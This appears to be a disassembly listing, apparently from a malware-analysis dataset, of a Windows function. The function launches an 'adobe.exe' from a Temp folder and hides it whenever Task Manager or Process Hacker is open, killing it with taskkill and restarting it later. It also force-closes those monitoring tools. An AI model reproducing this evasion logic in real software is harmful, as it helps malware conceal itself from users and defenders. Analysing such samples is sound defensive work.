Function at 0x4016a5
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x90
call dbg.__main
lea rcx, str.start_C:UsersAliAppDataLocalTemp5_adobe.exe
call sym.system
lea rax, str.adobe.exe
mov qword [rbp - 0x10], rax
lea rax, str.ProcessHacker.exe
mov qword [rbp - 0x18], rax
lea rax, str.DBCTaskmanX64.exe
mov qword [rbp - 0x20], rax
lea rax, str.Taskmgr.exe
mov qword [rbp - 0x28], rax
lea rax, str.PROCES1.EXE
mov qword [rbp - 0x30], rax
lea rax, str.DBCTAS1.EXE
mov qword [rbp - 0x38], rax
mov byte [rbp - 1], 0
mov byte [rbp - 2], 0
mov byte [rbp - 3], 0
mov byte [rbp - 4], 0
mov byte [rbp - 5], 0
call method.std::chrono::_V2::steady_clock.now__
mov qword [rbp - 0x60], rax
mov rax, qword [rbp - 0x28]
mov rcx, rax
call dbg.IsProcessRunning(char const*)
mov byte [rbp - 0x39], al
mov rax, qword [rbp - 0x20]
mov rcx, rax
call dbg.IsProcessRunning(char const*)
mov byte [rbp - 0x3a], al
mov rax, qword [rbp - 0x18]
mov rcx, rax
call dbg.IsProcessRunning(char const*)
mov byte [rbp - 0x3b], al
mov rax, qword [rbp - 0x30]
mov rcx, rax
call dbg.IsProcessRunning(char const*)
mov byte [rbp - 0x3c], al
mov rax, qword [rbp - 0x38]
mov rcx, rax
call dbg.IsProcessRunning(char const*)
mov byte [rbp - 0x3d], al
movzx eax, byte [rbp - 1]
xor eax, 1
test al, al
je 0x40177c
cmp byte [rbp - 0x39], 0
jne 0x4017c0
movzx eax, byte [rbp - 2]
xor eax, 1
test al, al
je 0x40178d
cmp byte [rbp - 0x3a], 0
jne 0x4017c0
movzx eax, byte [rbp - 3]
xor eax, 1
test al, al
je 0x40179e
cmp byte [rbp - 0x3b], 0
jne 0x4017c0
movzx eax, byte [rbp - 4]
xor eax, 1
test al, al
je 0x4017af
cmp byte [rbp - 0x3c], 0
jne 0x4017c0
movzx eax, byte [rbp - 5]
xor eax, 1
test al, al
je 0x4017ef
cmp byte [rbp - 0x3d], 0
je 0x4017ef
mov rax, qword [rbp - 0x10]
mov rcx, rax
call dbg.IsProcessRunning(char const*)
test al, al
je 0x4017ef
lea rcx, str.taskkill__f__im_adobe.exe
call sym.system
lea rdx, str.Task_Manager__DBCTaskmanX64.exe__ProcessHacker.exe__PROCES1.EXE__or_DBCTAS1.EXE_detected._Closed_adobe.exe._n
mov rcx, qword [0x004bd570]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
cmp byte [rbp - 1], 0
jne 0x40180d
cmp byte [rbp - 2], 0
jne 0x40180d
cmp byte [rbp - 3], 0
jne 0x40180d
cmp byte [rbp - 4], 0
jne 0x40180d
cmp byte [rbp - 5], 0
je 0x401863
movzx eax, byte [rbp - 0x39]
xor eax, 1
test al, al
je 0x401863
movzx eax, byte [rbp - 0x3a]
xor eax, 1
test al, al
je 0x401863
movzx eax, byte [rbp - 0x3b]
xor eax, 1
test al, al
je 0x401863
movzx eax, byte [rbp - 0x3c]
xor eax, 1
test al, al
je 0x401863
movzx eax, byte [rbp - 0x3d]
xor eax, 1
test al, al
je 0x401863
lea rcx, str.start_C:UsersAliAppDataLocalTemp5_adobe.exe
call sym.system
lea rdx, str.Task_Manager__DBCTaskmanX64.exe__ProcessHacker.exe__PROCES1.EXE__and_DBCTAS1.EXE_closed._Restarted_adobe.exe._n
mov rcx, qword [0x004bd570]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
call method.std::chrono::_V2::steady_clock.now__
mov qword [rbp - 0x68], rax
lea rdx, [rbp - 0x60]
lea rax, [rbp - 0x68]
mov rcx, rax
call sym._ZNSt6chronomiINS_3_V212steady_clockENS_8durationIxSt5ratioILx1ELx1000000000EEEES6_EENSt11common_typeIJT0_T1_EE4typeERKNS_10ti
mov qword [rbp - 0x50], rax
lea rax, [rbp - 0x50]
mov rcx, rax
call sym._ZNSt6chrono13duration_castINS_8durationIxSt5ratioILx60ELx1EEEExS2_ILx1ELx1000000000EEEENSt9enable_ifIXsrNS_13__is_durationIT_
mov qword [rbp - 0x58], rax
lea rax, [rbp - 0x58]
mov rcx, rax
call dbg.std::chrono::duration<long long, std::ratio<60ll, 1ll> >::count() const
mov qword [rbp - 0x48], rax
cmp qword [rbp - 0x48], 0
jle 0x40196d
cmp byte [rbp - 1], 0
je 0x4018d0
lea rcx, str.taskkill__f__im_Taskmgr.exe
call sym.system
lea rdx, str.Task_Manager_was_open_for_80_minute._Closed_it._n
mov rcx, qword [0x004bd570]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
cmp byte [rbp - 2], 0
je 0x4018f5
lea rcx, str.taskkill__f__im_DBCTaskmanX64.exe
call sym.system
lea rdx, str.DBCTaskmanX64.exe_was_open_for_80_minute._Closed_it._n
mov rcx, qword [0x004bd570]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
cmp byte [rbp - 3], 0
je 0x40191a
lea rcx, str.taskkill__f__im_ProcessHacker.exe
call sym.system
lea rdx, str.ProcessHacker.exe_was_open_for_80_minute._Closed_it._n
mov rcx, qword [0x004bd570]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
cmp byte [rbp - 4], 0
je 0x40193f
lea rcx, str.taskkill__f__im_PROCES1.EXE
call sym.system
lea rdx, str.PROCES1.EXE_was_open_for_80_minute._Closed_it._n
mov rcx, qword [0x004bd570]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
cmp byte [rbp - 5], 0
je 0x401964
lea rcx, str.taskkill__f__im_DBCTAS1.EXE
call sym.system
lea rdx, str.DBCTAS1.EXE_was_open_for_80_minute._Closed_it._n
mov rcx, qword [0x004bd570]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
call method.std::chrono::_V2::steady_clock.now__
mov qword [rbp - 0x60], rax
movzx eax, byte [rbp - 0x39]
mov byte [rbp - 1], al
movzx eax, byte [rbp - 0x3a]
mov byte [rbp - 2], al
movzx eax, byte [rbp - 0x3b]
mov byte [rbp - 3], al
movzx eax, byte [rbp - 0x3c]
mov byte [rbp - 4], al
movzx eax, byte [rbp - 0x3d]
mov byte [rbp - 5], al
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x401720